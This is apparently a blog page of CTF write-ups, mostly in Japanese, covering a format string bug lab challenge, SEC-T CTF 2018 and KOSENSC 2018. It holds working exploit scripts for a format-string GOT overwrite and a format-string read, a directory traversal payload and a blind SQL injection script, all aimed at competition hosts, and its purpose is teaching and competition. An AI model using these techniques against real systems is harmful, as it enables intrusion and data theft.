0xffffcd40:     0x00000001      0xffffcdd4      0xffffcddc      0xf7fd86b0
0xffffcd50:     0x00000001      0x00000001      0x00000000      0x0804a028
0xffffcd60:     0x080482b0      0xf7fb5000      0x00000000      0x00000000
0xffffcd70:     0x00000000      0xb021baa9      0x8eb9deb9      0x00000000

ここで注目してほしいのが,0xffffcd2cにある0xf7e081b3というアドレスです. gdbで見ると,__libc_start_main+243のアドレスであることが分かります.

gdb-peda$ x/4wx 0xf7e081b3
0xf7e081b3 <__libc_start_main+243>:     0xe8240489      0x000184f5      0x32e9c931      0x8bffffff

これはmain関数がreturnした際に戻るlibc内の関数のアドレスです. したがって,libcのベースアドレスは0xf7e081b3から__libc_start_main+243を引いた値になります. 私の環境では次のように__libc_start_mainは0x1a0c0にあるので,ベースアドレスは0xf7e081b3 - 0x1a0c0 - 243となります.

$ objdump -S -M intel /lib/libc-2.17.so | grep "__libc_start_main>"
0001a0c0 <__libc_start_main>:

実際に計算してみると,libcのベースアドレスと一致することが分かります.

gdb-peda$ vmmap
Start      End        Perm      Name
0x08048000 0x08049000 r-xp      /home/ptr/workspace/hatena/fsb/a.out
0x08049000 0x0804a000 r--p      /home/ptr/workspace/hatena/fsb/a.out
0x0804a000 0x0804b000 rw-p      /home/ptr/workspace/hatena/fsb/a.out
0xf7ded000 0xf7dee000 rw-p      mapped
0xf7dee000 0xf7fb2000 r-xp      /usr/lib/libc-2.17.so
0xf7fb2000 0xf7fb3000 ---p      /usr/lib/libc-2.17.so
0xf7fb3000 0xf7fb5000 r--p      /usr/lib/libc-2.17.so
0xf7fb5000 0xf7fb6000 rw-p      /usr/lib/libc-2.17.so
0xf7fb6000 0xf7fb9000 rw-p      mapped
0xf7fd7000 0xf7fd9000 rw-p      mapped
0xf7fd9000 0xf7fda000 r-xp      [vdso]
0xf7fda000 0xf7ffc000 r-xp      /usr/lib/ld-2.17.so
0xf7ffc000 0xf7ffd000 r--p      /usr/lib/ld-2.17.so
0xf7ffd000 0xf7ffe000 rw-p      /usr/lib/ld-2.17.so
0xfffdc000 0xffffe000 rw-p      [stack]
gdb-peda$ p 0xf7e081b3 - 0x1a0c0 - 243
$1 = 0xf7dee000

メモリに書き込む

先程も書いた通り,今回はグローバル変数FSBなので任意のアドレスに書き込むことができないように思えます. ここで,もう一度スタックの状態を見てみましょう.

gdb-peda$ x/32wx $esp
0xffffcd00:     0x0804a060      0x0804a060      0xffffcddc      0x0804875b
0xffffcd10:     0x00000001      0xffffcdd4      0xffffcddc      0x00000000
0xffffcd20:     0xf7fb53c4      0xffffcd40      0x00000000      0xf7e081b3
0xffffcd30:     0x08048710      0x00000000      0x00000000      0xf7e081b3
0xffffcd40:     0x00000001      0xffffcdd4      0xffffcddc      0xf7fd86b0
0xffffcd50:     0x00000001      0x00000001      0x00000000      0x0804a028
0xffffcd60:     0x080482b0      0xf7fb5000      0x00000000      0x00000000
0xffffcd70:     0x00000000      0xb021baa9      0x8eb9deb9      0x00000000

0xffffcddcや0xffffcdd4といったアドレスがスタック上にあります.一方espは0xffffcd00なので,これらのポインタはFSBで参照できるスタック上のアドレスを指していることになります. このような「スタック上を指すポインタ」がスタック上にある場合,任意のアドレスに任意のデータを書き込むことができます. 例えば0xffffcd08に0xffffcddcというデータがあります.これを利用して0xdeadbeefに0x41414141を書き込む場合,次のようにします.

  1. 1回目のFSBで0xffffcddcに0xdeadbeefという値を書き込む
  2. 2回目のFSBで(0xffffcddcにある)0xdeadbeefに0x41414141を書き込む

ちなみに「スタック上を指すポインタ」の例としては,環境変数envpや実行時引数argvがあるので,大抵のプログラムでは見つけることができます. 具体的に送るデータを考えましょう.まず,0xffffcddcに0xdeadbeefを書き込むためには,0xffffcd08にあるアドレスを利用します. これは(0xffffcd08 - $esp)/4 = 2より2番目の引数にあたるので,0xdeadbeef(=3735928559)を書き込むには

%3735928559c%2$n

とします.次に,0xffffcddcは(0xffffcddc - $esp)/4 = 55より55番目の引数にあたるので,0x41414141(=1094795585)を書き込むには

%1094795585c%55$n

とします.

GOTを上書きする

プログラムが共有ライブラリの関数を使うとき,そこを直接参照するのではなく,GOT(Global Offset Table)と呼ばれる表に記載されたアドレスを参照します. このテーブルは標準では上書き可能かつアドレスが固定です. FSBでGOT内のある関数のアドレスを変更すれば,その関数が呼ばれるときに変更した方へジャンプしてくれます. したがって,今回はprintfの後に呼ばれるexitのGOTを書き換えてshow_flagのアドレスに変更すれば良さそうです. GOTのアドレスは次のようにreadelfで見られます.

$ readelf -r parrot
再配置セクション '.rel.dyn' (オフセット 0x3b0) は 2 個のエントリから構成されています:
 オフセット 情報    型              シンボル値 シンボル名
08049ffc  00000706 R_386_GLOB_DAT    00000000   __gmon_start__
0804a040  00000c05 R_386_COPY        0804a040   stdout@GLIBC_2.0

再配置セクション '.rel.plt' (オフセット 0x3c0) は 10 個のエントリから構成されています:
 オフセット 情報    型              シンボル値 シンボル名
0804a00c  00000107 R_386_JUMP_SLOT   00000000   setbuf@GLIBC_2.0
0804a010  00000207 R_386_JUMP_SLOT   00000000   printf@GLIBC_2.0
0804a014  00000307 R_386_JUMP_SLOT   00000000   free@GLIBC_2.0
0804a018  00000407 R_386_JUMP_SLOT   00000000   fclose@GLIBC_2.1
0804a01c  00000507 R_386_JUMP_SLOT   00000000   fread@GLIBC_2.0
0804a020  00000607 R_386_JUMP_SLOT   00000000   malloc@GLIBC_2.0
0804a024  00000807 R_386_JUMP_SLOT   00000000   exit@GLIBC_2.0
0804a028  00000907 R_386_JUMP_SLOT   00000000   __libc_start_main@GLIBC_2.0
0804a02c  00000a07 R_386_JUMP_SLOT   00000000   fopen@GLIBC_2.1
0804a030  00000b07 R_386_JUMP_SLOT   00000000   __isoc99_scanf@GLIBC_2.7

これよりexitのアドレスは0x0804a024に保管されることが分かります. また,pwntoolsでは次のように取得できるので便利です.

from pwn import *
elf = ELF("./parrot")
print(hex(elf.got['exit']))

では攻撃コードを作りましょう. 今回はargvのアドレスを利用してGOTを書き換えてみました.

from pwn import *

sock = remote("localhost", 4000)

parrot = ELF("./parrot")
got_exit = parrot.got['exit']
show_flag = 0x8048616

print("[+] exit.got = " + hex(got_exit))

# write got addr onto argv
payload = "%{0}c%17$n".format(got_exit)
sock.sendline(payload)
print("[+] Wrote &exit.got to argv")

# got overwrite
payload = "%{0}c%53$n".format(show_flag)
sock.sendline(payload)parrot

print("[+] Wrote &show_flag to exit.got")

# final round
sock.sendline("HOGEHOGE")

# get printed text
data = sock.recvall()
print data[-100:]

自分の環境で試すときはsocatを使うと便利です. 以下のようにすればローカルで4000番ポートにサービスを用意してくれます.

$ socat TCP-L:4000,reuseaddr,fork EXEC:./parrot

攻撃コードを実行すると,時間はかかりますがちゃんとフラグが取れます. ローカルでは10秒以内に終わりましたが,研究室で開催したときはみんな20秒くらいかかってた気がします.

$ python attack.py
[+] Opening connection to localhost on port 4000: Done
[*] '/home/ptr/workspace/school/ocamlab/5th/pwn200/parrot'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[+] exit.got = 0x804a024
[+] Wrote &exit.got to argv
[+] Wrote &show_flag to exit.got
[+] Receiving all data: Done (256.57MB)
[*] Closed connection to localhost port 4000
                                                      `HOGEHOGEflag-ik8b7RO0PESHYHNuXaWE0jZfpm0odD8h

問題自体は好評でしたが攻撃に時間がかかるのでリモートのCTFとかでは出題しにくいかなぁ.

SEC-T CTF 2018 - Writeup

It's been about two years since I last joined in a CTF. I participated in SEC-T CTF 2018 as a member of 'insecure.' I solved 7 challanges and got 357 point in total.

f:id:ptr-yudai:20180914231943p:plain:h256

Sanity check [Misc 51pts]

Flag is in the topic of #sect-ctf @ irc.freenode.net

The flag is written on the IRC.

Ez dos [Rev 51pts]

They told me you were old-school, great! Have a look at this license-server as a warm-up
Service: nc 142.93.38.98 7777 | nc rev.sect.ctf.rocks 7777
Download: ezdos.tar.gz

The file contains 'ezdos.com' and it's an executable for MS-DOS.

$ file ezdos.com
ezdos.com: COM executable for MS-DOS

Let's disassemble it.

$ objdump -D -b binary -M intel -mi386 -Maddr16,data16 ezdos.com > disasm

As I looked over the assembly, I found it reads a file named 'flag' and shows its contents when the license key is correct. The following part is where we enter the license key.

   c:   b9 00 00                mov    cx,0x0
   f:   bb 00 20                mov    bx,0x2000
  12:   ba 0d 00                mov    dx,0xd
  15:   b4 01                   mov    ah,0x1
  17:   cd 21                   int    0x21
  19:   3c 0a                   cmp    al,0xa
  1b:   74 08                   je     0x25
  1d:   88 07                   mov    BYTE PTR [bx],al
  1f:   43                      inc    bx
  20:   41                      inc    cx
  21:   39 d1                   cmp    cx,dx
  23:   75 f0                   jne    0x15

The license key we enter is stored at 0x2000.

  25:   b9 00 00                mov    cx,0x0
  28:   bb 00 20                mov    bx,0x2000
  2b:   b8 6b 02                mov    ax,0x26b
  2e:   ba 04 00                mov    dx,0x4
  31:   51                      push   cx
  32:   31 c9                   xor    cx,cx
  34:   8a 0f                   mov    cl,BYTE PTR [bx]
  36:   93                      xchg   bx,ax
  37:   8a 2f                   mov    ch,BYTE PTR [bx]
  39:   93                      xchg   bx,ax
  3a:   38 e9                   cmp    cl,ch
  3c:   0f 85 87 00             jne    0xc7
  40:   59                      pop    cx
  41:   41                      inc    cx
  42:   43                      inc    bx
  43:   40                      inc    ax
  44:   39 d1                   cmp    cx,dx
  46:   75 e9                   jne    0x31

The address of the license key is loaded into BX and the value 0x26b is stored into AX. AX(0x26b) points to the data '1337SHELL'. This part is a loop and it compares the first 4 characters of the license key with '1337', so the license key begins with '1337'. And then, it checks whether the next character is '-' as shown below.

  48:   31 d2                   xor    dx,dx
  4a:   8a 17                   mov    dl,BYTE PTR [bx]
  4c:   80 fa 2d                cmp    dl,0x2d
  4f:   75 76                   jne    0xc7

After checking '1337-', it checks the rest of the key character by character. The next character of the key and the data('S') is loaded into CL and CH respectively and compares CLCH with 0x66, which means the correct character is 'S'^0x66='5'.

  51:   43                      inc    bx
  52:   31 c9                   xor    cx,cx
  54:   8a 0f                   mov    cl,BYTE PTR [bx]
  56:   93                      xchg   bx,ax
  57:   8a 2f                   mov    ch,BYTE PTR [bx]
  59:   93                      xchg   bx,ax
  5a:   30 e9                   xor    cl,ch
  5c:   80 f9 66                cmp    cl,0x66
  5f:   75 66                   jne    0xc7

By restoring the rest of the key in the same way, I found the correct key is '1337-5115'. Connecting to the server with nc and entering the key, I got the flag.

Matry0ska1 [Crypto 51pts]

Discrete logarithms are hard...
nc 178.128.171.133 4444 | nc crypto.sect.ctf.rocks 4444

The server tells a message like this:

    _
  (("))  --- Gimme exponent pl0x
  /   \
 ( (@) )
 \__(__/


p = 122488473105892538559311426995019720049507640328167439356838797108079051563759027212419257414247
g = 2
g^x = 49865908605708412727604941701889315223850522668539772014048529597300749129536778697051808702829
:

What we have to do is find x such that 2^{x}=y \mod p when y and p are given. The number [tex:gx] is variable but p is fixed. p can be factorized by using wolfram alpha. This means the discrete logarithm problem can be solved by applying the Pollard's rho algorithm for logarithms and the Pohlig-Hellman algorithm. However, I used the following service which solves the discrete logarithm problem.

www.alpertron.com.ar

It took a few tens of seconds to solve the problem. Sending the answer returned the flag.

Section6 [Misc 51pts]

This file was recovered from a scavenger.
Download: section6.tar.gz

The given file contains a zip file. I guessed it's a word document since it has some directories such as Documents or _rels. Though I tried to open it with Libre Office, the document seemed broken. The contents of a word document basically exist in the Document directory. I found a file Documents/6/Pages/6.fpage which contains the text data. Since the text goes for several lines, I wrote a simple Python code which formats the text data.

import re

out = ""
with open("6.fpage", "r") as f:
    for line in f:
        found = re.findall("UnicodeString\=\"(.+)\"", line)
        if found:
            text = found[0]
            print text

This program gave me the flag in ASCII art.

Puppetmatryoshka [Misc 51pts]

Greetings Kusanagi, your mission is to find Puppet Master.
Download: puppetmatryoshka.tar.gz

The given archive has a pcap file named matryoshka.

$ file matryoshka 
matryoshka: tcpdump capture file (little-endian) - version 2.4 (Ethernet, capture length 262144)

I found TCP packets in which contains a file compressed by bzip2. I extracted and decompressed it, which created a disk dump.

$ file extracted
extracted: Linux rev 1.0 ext4 filesystem data, UUID=b72f5197-d45b-4079-b6e8-b9d1be583d67 (extents) (huge files)

There are some empty files and a 7-zip archive. I decompressed the archive and got an ASCII text file that seemed base64-encoded. Exhausting. Decoding the text made an Open Document file. Here is what is written in it:

Kusanagi, well done so far.

Try not to get compromized, we know he sometimes change metadata to cover his traces. Look for sign.

No flag here? It indicates the metadata, especially the signature is the key. I looked into META-INF/documentsignatures.xml and found the flag finally.

Shredder [Misc 51pts]

We intercepted this floppy we believe belonged to the laughing man. We haven't found anything other than this shredder tool though.
Download: floppy.gz

The file floppy is a disk dump of FAT filesystem.

$ file floppy
floppy: DOS/MBR boot sector, code offset 0x3c+2, OEM-ID "mkfs.fat", root entries 112, sectors 2880 (volumes <=32 MB), sectors/FAT 9, sectors/track 18, serial number 0xb4d31337, unlabeled, FAT (12 bit), followed by FAT

I mounted the disk and found a 64-bit ELF named shredder. Analysing the binary with using IDA reveals how it works.

  1. Open and read a file
  2. Generate a random byte as a key
  3. XOR the whole file byte by byte with the key
  4. Repeat step 2 and 3 for several times (It depends on the argument)

No matter how many times it XORs the file, it's easy to recover the original one because we just have to try 255 keys. However, the problem is we don't have the XORed file because it deletes the file before exiting. Deleting a file on FAT filesystem means just changing some bits on the disk so the file itself is not deleted. The given disk image is so small that we can easily find the deleted file. (The deleted file is located at 0x8800.) I wrote a Python code which tries to recover the file.

with open("floppy", "rb") as f:
    buf = f.read()[0x8800:]
buf = buf[:buf.index("\x00\x00\x00\x00")]
print repr(buf)

for key in range(0x100):
    out = ""
    for c in buf:
        out += chr(ord(c) ^ key)
    print out

As I looked over the output, I found the flag when the XOR key is 108.

Batou [Misc 51pts]

We manage to collect a dump from Batou's computer. Try to find info/notes that can help us
Download: batou.tar.gz

The file batou is a vmss image because the file begins with "d2 be d2 be 08." Let's use volatility to analyse this memory dump. At first, we have to determine the profile. imageinfo tells us the profile.

$ vol.py -f batou imageinfo
INFO    : volatility.debug    : Determining profile based on KDBG search...
          Suggested Profile(s) : Win7SP1x64, Win7SP0x64, Win2008R2SP0x64, Win2008R2SP1x64_24000, Win2008R2SP1x64_23418, Win2008R2SP1x64, Win7SP1x64_24000, Win7SP1x64_23418
                     AS Layer1 : WindowsAMD64PagedMemory (Kernel AS)
                     AS Layer2 : VMWareAddressSpace (Unnamed AS)
                     AS Layer3 : FileAddressSpace (/home/ptr/workspace/ctf/sect/batou/batou)
                      PAE type : No PAE
                           DTB : 0x187000L
                          KDBG : 0xf800028480a0L
          Number of Processors : 2
     Image Type (Service Pack) : 1
                KPCR for CPU 0 : 0xfffff80002849d00L
                KPCR for CPU 1 : 0xfffff880009ea000L
             KUSER_SHARED_DATA : 0xfffff78000000000L
           Image date and time : 2018-09-11 04:17:17 UTC+0000
     Image local date and time : 2018-09-10 21:17:17 -0700

The process list can be obtained by psscan.

$ vol.py -f batou --profile=Win7SP1x64 psscan
Offset(P)          Name                PID   PPID PDB                Time created                   Time exited                   
------------------ ---------------- ------ ------ ------------------ ------------------------------ ------------------------------
0x000000003de683c0 dwm.exe            1660    792 0x0000000014479000 2018-09-11 04:16:05 UTC+0000                                 
0x000000003de72b30 explorer.exe       1720   1652 0x00000000154e2000 2018-09-11 04:16:05 UTC+0000                                 
0x000000003df57b30 SearchProtocol     1040   1988 0x000000000d026000 2018-09-11 04:16:13 UTC+0000                                 
0x000000003df77b30 SearchFilterHo     1140   1988 0x000000000d92f000 2018-09-11 04:16:13 UTC+0000                                 
0x000000003df9f100 SearchProtocol     1340   1988 0x00000000106ca000 2018-09-11 04:16:13 UTC+0000                                 
0x000000003dfaf4a0 iexplore.exe       1536   1720 0x000000000c130000 2018-09-11 04:16:15 UTC+0000                                 
0x000000003dfe54f0 iexplore.exe       1636   1536 0x000000000be44000 2018-09-11 04:16:17 UTC+0000                                 
0x000000003dfef570 StikyNot.exe       1872   1720 0x0000000006f04000 2018-09-11 04:16:20 UTC+0000                                 
0x000000003e08d3a0 taskhost.exe       1728    460 0x0000000014187000 2018-09-11 04:16:05 UTC+0000                                 
0x000000003e1da210 notepad.exe         204   1720 0x0000000028c02000 2018-09-11 04:16:31 UTC+0000                                 
0x000000003e22bb30 svchost.exe         748    460 0x000000001ba0c000 2018-09-11 04:15:34 UTC+0000                                 
0x000000003e23eb30 svchost.exe         792    460 0x000000001b619000 2018-09-11 04:15:34 UTC+0000                                 
0x000000003e264890 svchost.exe         820    460 0x000000001b31f000 2018-09-11 04:15:34 UTC+0000                                 
0x000000003e2b32a0 svchost.exe         944    460 0x000000001bf2a000 2018-09-11 04:15:35 UTC+0000                                 
0x000000003e2eb890 svchost.exe         212    460 0x000000001bb38000 2018-09-11 04:15:35 UTC+0000                                 
0x000000003e367b30 spoolsv.exe         300    460 0x000000001b064000 2018-09-11 04:15:35 UTC+0000                                 
0x000000003e379b30 svchost.exe         968    460 0x000000001b8c6000 2018-09-11 04:15:36 UTC+0000                                 
0x000000003e4de060 csrss.exe           316    308 0x000000002004a000 2018-09-11 04:15:32 UTC+0000                                 
0x000000003e4f0b30 lsass.exe           468    372 0x000000001ea74000 2018-09-11 04:15:33 UTC+0000                                 
0x000000003e5062b0 wininit.exe         372    308 0x000000001fc50000 2018-09-11 04:15:33 UTC+0000                                 
0x000000003e510a00 winlogon.exe        400    356 0x000000001f19d000 2018-09-11 04:15:33 UTC+0000                                 
0x000000003e551060 services.exe        460    372 0x000000001eb54000 2018-09-11 04:15:33 UTC+0000                                 
0x000000003e55bb30 lsm.exe             476    372 0x000000001f47c000 2018-09-11 04:15:33 UTC+0000                                 
0x000000003e5b7b30 svchost.exe         584    460 0x000000001e7c5000 2018-09-11 04:15:34 UTC+0000                                 
0x000000003e612b30 svchost.exe         664    460 0x000000001b903000 2018-09-11 04:15:34 UTC+0000                                 
0x000000003edbe2d0 SearchIndexer.     1988    460 0x000000000fe67000 2018-09-11 04:16:12 UTC+0000                                 
0x000000003f41c750 smss.exe            232      4 0x0000000025ac0000 2018-09-11 04:15:30 UTC+0000                                 
0x000000003febdb30 notepad++.exe      1568   1720 0x0000000005f4c000 2018-09-11 04:16:39 UTC+0000   2018-09-11 04:16:48 UTC+0000  
0x000000003ffbdae0 System                4      0 0x0000000000187000 2018-09-11 04:15:30 UTC+0000                                 
0x000000003ffc65f0 csrss.exe           364    356 0x000000001fb97000 2018-09-11 04:15:33 UTC+0000                                 

As you can see from the list, notepad++ had terminated. I tried to dump the process but it didn't work. Maybe the flag is written to the disk by notepad++. filescan is useful when we want to survey the files.

$ vol.py -f batou --profile=Win7SP1x64 filescan > filelist

I looked over the list and found curious lines in which notepad++ makes some backup files.

...
0x000000003fe9c930     16      0 R--rw- \Device\HarddiskVolume2\Users\Batou\AppData\Roaming\Notepad++\backup\new 2@2018-09-10_203737
0x000000003feacbc0      3      0 R--r-d \Device\HarddiskVolume2\Windows\SysWOW64\WindowsCodecs.dll
0x000000003fead410     16      0 R--rw- \Device\HarddiskVolume2\Users\Batou\AppData\Roaming\Notepad++\backup\new 1@2018-09-10_202915
...

Those files can be dumped by dumpfile. The extracted file has the flag in hex :-)

$ vol.py -f batou --profile=Win7SP1x64 dumpfiles --dump-dir="./" -Q 0x000000003fe9c930
$ cat file.None.0xfffffa8000da35c0.dat

53 45
43 54 7b 
34 6c 6c 5f 79 6f 75 72 5f 4e 30 74 33 73 5f 34 72 33 5f 62 33 6c 30 6e 67 5f 74 30 5f 75 35

高専セキュリティコンテスト2018のWrite Up

はじめに

2018年09月01日から02日にかけて福岡で高専セキュリティコンテスト(KOSESNSC)が開催されました. 編入試験が終わって時間が空いたので,久しぶりにCTFに参加しました. 久しぶりで腕も鈍っていたので,8月の終わりに研究室でKOSENSC対策の模擬CTFを2回やって練習しました. 勉強の成果もあって,2日目の最初の段階で全問解答し,無事優勝することができました.

f:id:ptr-yudai:20180902184715p:plain:h320

私は1700ptくらい入れたので,解いた問題のwrite upを書きます. 難問ばっかり解いたふるつきのwrite upもどうぞ.

furutsuki.hatenablog.com

ネットワーク担当のthrustのwrite upはこちら.

thrust2799.hatenablog.jp

CTF初心者(300点問題を解く)yoshikingのwrite upはこちら.

ocamlab.kibe.la

初日の最後にyoshikingがかき集めてくれたので問題は以下から参照できます.

KOSENSC2018 - Google ドライブ

また,問題名とセットにどれくらいの時間で解けたかも書いておきます.

問題

[01 Binary100] まどわされるな!(10分~15分)

[問題内容]
片方しかフラグが手に入らない.どうにかしてもう片方のフラグを見つけられないだろうか.
[問題ファイル]
flag.out

配布されたファイルはELFバイナリだったので実行してみます.

$ ./flag.out 
flag is SCKOSEN{you_are_go... oops! I Forgot!

問題内容通りフラグの先頭だけ表示されます.IDAで解析してもこの文章を出力するだけでした. そこでbinwalkでflag.outを見てみると,JPEGデータが付いていたので取り出しました. (なぜかbinwalkでは取り出せなかったのでPythonで書きました.)

buf = open("flag.out").read()
buf = buf[buf.index("\xFF\xD8\xff\xe0"):]
open("hoge.jpg", "wb").write(buf)

取り出した画像に残りのフラグが書いていました.

[03 Binary100] printf(5分)

[問題内容]
フラグを読み出せ!ゲームへの接続方法:nc [hostname] [port] 例:nc 27.133.152.42 80

ふるつきに「解けるからやっといて」と言われて解いた問題です. 接続するとフラグの入っている変数のアドレスが渡され,文字が入力できます. %xなどを入力すると怪しいアドレスが表示されるので,Format String Bugの脆弱性があることが分かります. (FSBがあることはふるつきが最初に教えてくれた.) これはprintf関数などのフォーマット書式を扱う関数に直接入力を与えていることが原因で起こります.例えば

char buf[1024];
scanf("%1000s", buf);
printf(buf);

のようなコードは脆弱です.printfは%sなどの書式が与えられるとスタックからデータを読み込み表示します. したがって,%pをたくさん入力するとスタック上のデータをたくさん表示することができます. 同様に%sを与えればスタック上のアドレスにあるデータを表示することができます. Format String Attackについてはこちらに分かりやすく書かれています. 次のようなコードでフラグを読み出しました.

from pwn import *
from struct import *

sock = remote("27.133.152.42", 80)
sock.recvuntil("in ")
addr = int(sock.recvline(), 16)
sock.recvuntil("want: ")
payload = struct.pack("<I", addr) + " %15$s"
sock.sendline(payload)
print sock.recv(4000)

FLAGのアドレスに入力できない文字("\x00"など)が入っていない場合はpayloadが送れるのでフラグが表示されました.

[05 Binary250] Simple anti debugger(20分~30分)

[問題内容]
gdbにアタッチしてみたが動かない.どうやって解析しようか.
[問題ファイル]
simple_anti_debugger

確かにgdbで動かすとmain関数に入る前に終了します.

gdb-peda$ start
I hate debugger ~:-(
[Inferior 1 (process 5539) exited with code 01]

IDAで見るとdetect_debuggerなる関数があり,ptraceを使ってデバッガを検知しているので,検知の条件分岐の値をいじったバイナリを作ります. IDAのgraph viewで命令にカーソルを合わせた状態でHex Viewを見ると対応する機械語が分かるので,pythonでこの部分を変更したバイナリを作りました.

buf = open("simple_anti_debugger").read()
ofs = buf.index("\x83\xF8\xFF")
buf = buf[:ofs] + "\x83\xF8\xF0" + buf[ofs + 3:]
open("bin", "wb").write(buf)

これをgdbデバッグすると,検知されません. IDAの方でis_correct_password関数の中身を確認すると,入力の文字コードの総和が0xA5であればOKみたいです. gdbで文字数の総和を取っているメモリの値を0xA5に変更して進めると,decode関数に入ります. これも読もうかと思ったのですが,decode関数を出るときにメモリ上にフラグがありました.

別解

この問題はdecode関数を読むことでも解けます. decode関数はエンコードされたフラグ(encoded_flag)を入力として受け取り,デコードされたフラグを出力として返します. 内部ではencoded_flagを1文字ずつxor 1していたので,データ部にあるencoded_flagを処理してもフラグが得られます.

encoded_flag = "RBJNRDOzH^mhjd^edctffds|"

FLAG = ""
for c in encoded_flag:
    FLAG += chr(ord(c) ^ 1)

print FLAG

[06 Crypto100] exchangeable if(10分~15分)

[問題内容]
画像を見つけた.フラグを取り出せ!
[問題ファイル]
out.jpeg

画像ファイルが渡され,フラグが書いてありますが,その中の4文字だけ分からないようです. exiftoolで画像を見ると"md5=2009d1c114ed83f57cf8adde69fd6ca8"という文字列がありました. しばらく眺めていると,これがフラグのmd5なのではと思いついたので,4文字に英数字を当てはめてmd5は一致するものを探すと,フラグが見つかりました.

import hashlib
import string

pre = "SCKOSEN{sHDtF1"
lat = "NLTIWp}"
md5 = "2009d1c114ed83f57cf8adde69fd6ca8"

FLAG = ""
table = string.ascii_letters + "0123456789"
for s1 in table:
    for s2 in table:
        for s3 in table:
            for s4 in table:
                FLAG = pre + s1 + s2 + s3 + s4 + lat
                if hashlib.md5(FLAG).hexdigest() == md5:
                    print FLAG
                    exit(1)

[07 Crypto200] シンプルなQRコード(10分)

同じチームのthrustが解き始めたのですが,頑張ってQRの写真撮ってたので声をかけるとstrong-qr-decoderで解けるタイプのQRコードでした. thrustが正方形のQRっぽい形にしてくれていて,データ部も残っていたのでstrong-qr-decoderで読み込めそうでした. PILでQRコードの画像をテキストに変換し,strong-qr-decoderにかけるとフラグが出力されました. 詳しいwrite upはthrust2799が書いているはずなのでそちらを参照してください.

[08 Crypto200] 旅行の写真(10分)

[問題内容]
友達が旅行に行ってきたそうだが,写真がどこかおかしい.きっと何かを隠しているに違いない.
[問題ファイル]
problem.png

一日目は触りませんでしたが,ホテルで解きました. 一日目にこれをやってた人が,周期的な線が入っていることや,青と緑の下位4ビットでそれが現れると言っていたので,それを繋げれば文字コードになるのでは,と思ってコードを書きました.

from PIL import Image

im = Image.open("problem.png")
size = im.size

FLAG = ""
for x in range(32):
    r,g,b = im.getpixel((x,0))
    p = g & 0b1111
    q = b & 0b1111
    FLAG += chr((p << 4) + q)

print FLAG

同じようなステガノグラフィーツールを作ったことがあったのですぐに解けました.

[12 Web100] サーバーから情報を抜き出せ!(5分)

[問題内容]
サーバーに重要な情報があることがわかった.flag.txtを奪い取れ!
[Webサーバー]
http://cheat.kosensc2018.tech

アクセスするとレゴの画像が表示されるページだったのでHTMLを読むと,次のようにfilenameパラメータにGETで画像をリクエストしています.

      <div class="card box" style="width: 20rem;">
        <img class="card-img-top" src="/image?filename=1.jpeg">
        <div class="card-body">
          <h4 class="card-title">ホットドッグマン</h4>
          <p class="card-text">頭にホットドックが刺さってるキャラクター</p>
        </div>
      </div>

ここで"filename=../flag.txt"とするとディレクトリトラバーサル脆弱性によりフラグが見れます.

[14 Web300] アカウントを奪え(30分~40分)

[問題内容]
アカウントを奪ってしまおう.
フラグはSCKOSEN{keyword}の形で,keywordを探してほしい.
[Webサーバー]
http://bsql.kosensc2018.tech

SQL Injectionでログインすると,ソースコードが渡され,ユーザー'kosenjoh'のパスワードを取れとのこと.Blind SQL Injectionの問題ですね. 先日研究室でふるつきが開いたKoHでBlind SQL Injectionが出題されたので記憶に新しく,すぐにコードを書くことができました.

import requests
import json
import string

FLAG = ""
x = 0
while True:
    q = False
    x += 1
    for c in string.printable:
        payload = {'userid': 'kosenjoh', 'pass': "' OR SUBSTR(pass,{0},1)='{1}' LIMIT 1 ;-- ".format(x, c)}
        url = "http://bsql.kosensc2018.tech/"
        r = requests.post(url, data=payload)
        if "highlight_file" in r.text.encode("utf-8"):
            FLAG += c
            print(FLAG)
            q = True
            break
    if q == False:
        print("[ERROR] Unmatch")
        FLAG += "?"

最初printする場所が"FLAG += c"の前になってて1文字足りなかったので時間を取られました.

[21 Misc100] 謎のファイル(10分)

[問題内容]
どうやれば開けるだろうか...
[問題ファイル]
file

fileコマンドではZIPと言われるのでunzipすると,"word"と"docProps"とかOffice製品っぽいフォルダが展開されます. 後で気づいたのですが,中にrename_me.xmlというXMLファイルがあったので,これを正しいファイル名に変更して適切にzip圧縮すれば解けそうです. 優勝が確定して見直しに入るまでは気づかなかったので別の解き方をしていました. unzipして出てきたファイルの中のdocument.xmlで"SCKOSEN"の"S"を探すと,xml構文をまたいで次に"C"があったので,これを繋げればフラグになるかなぁ,となんとなく思いました. 繋げると意味不明な文字列が出てきたのですが,"{"と"}"があるので並べ替えればフラグになると思って慎重に読むと,2文字飛ばして読めばフラグになることに気づきました.

import re
buf = open("document.xml").read()
res = re.findall("w:t>(.)</w:t", buf)
res = "".join(res)
print res
FLAG = ""
for i in range(0, len(res), 3):
    FLAG += res[i]
for i in range(1, len(res), 3):
    FLAG += res[i]
for i in range(2, len(res), 3):
    FLAG += res[i]

print FLAG

誰か正攻法教えて. rename_me.xmlを[Content_Types].xmlに変更してzip圧縮すればワードで開けるそうです.7zipで圧縮したせいか私は開けませんでした...... thrustによると無圧縮とか圧縮方法が関係しているそうです.

[23 Misc300] 攻撃ログ(3時間)

[問題内容]
ログを見てほしい.なにかがおかしい.
何かが起こっている1行をsha1でハッシュ化し,SCKOSEN{hoge}のhogeに入れてくれ.
[問題ファイル]
localhost_access_log.2018-08-29.txt

